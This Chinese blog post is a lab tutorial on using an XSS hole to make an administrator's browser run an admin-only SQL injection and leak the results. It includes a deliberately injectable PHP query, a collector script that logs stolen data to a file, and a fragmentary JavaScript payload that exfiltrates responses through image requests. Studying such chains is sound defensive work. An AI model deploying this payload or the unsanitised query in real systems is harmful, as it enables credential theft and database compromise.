昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功!
于是乎我只有假想下一个极端环境:
1.前台有且只有一个xss漏洞(不能获取管理员cookie)
2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问)
3.注入获得管理员密码可解密
4.除以上无其他任何漏洞(包括后台getwebshell)
其实我就是想说,我们只可以利用这个xss执行注入!
模拟注入漏洞代码
sqli.php
02 | @ error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING); |
03 | $con = mysql_connect( "localhost" , "root" , "" ); |
04 | if (! $con ) { die ( 'Could not connect: ' . mysql_error());} |
05 | mysql_select_db( "test" , $con ); |
07 | $sql = "select id,realname from test where id=" . "$id" ; |
08 | $view = mysql_query( $sql ); |
09 | $row = mysql_fetch_array( $view ); |
10 | echo $row [id]. "<br />" ; |
11 | echo $row [realname]. "<br />" ; |
mysql数据库:
3 | column :test.id、test.realname |
4 | admin.id、admin.username、admin. password |
get.php(获取的注入后数据截取)
2 | $file = fopen ( "data.txt" , "a" ); |
3 | fwrite( $file , $_GET [ 'get' ]); |
xsssqli.js(payload)
01 | function addLoadEvent(func) |
03 | var oldfunc=window.onload; |
04 | if ( typeof (window.onload)!= "function" ) |
10 | window.onload= function () |
21 | if (window.XMLHttpRequest) |
23 | ajax = new XMLHttpRequest(); |
25 | else if (window.ActiveXObject) |
27 | ajax = new ActiveXObject( "Microsoft.XMLHTTP" ); |
33 | ajax.open( "GET" , url, true ); |
35 | ajax.onreadystatechange = function () |
37 | if (ajax.readyState == 4 && ajax.status == 200) |
39 | var img = document.createElement( "img" ); |
41 | document.body.appendChild(img); |
45 | addLoadEvent(get_xsssqli); |
模拟xss漏洞
3 | < title >use xss to sqli</ title > |
6 | < script src = http ://127.0.0.1/xss/get.js ></ script > |
最后成功得到数据:
当然你也可以写个正则截获指定数据!
转载请指明出处:L.N.博客 http://lanu.sinaapp.com/htmlcssjisxml/112.html
没有评论:
发表评论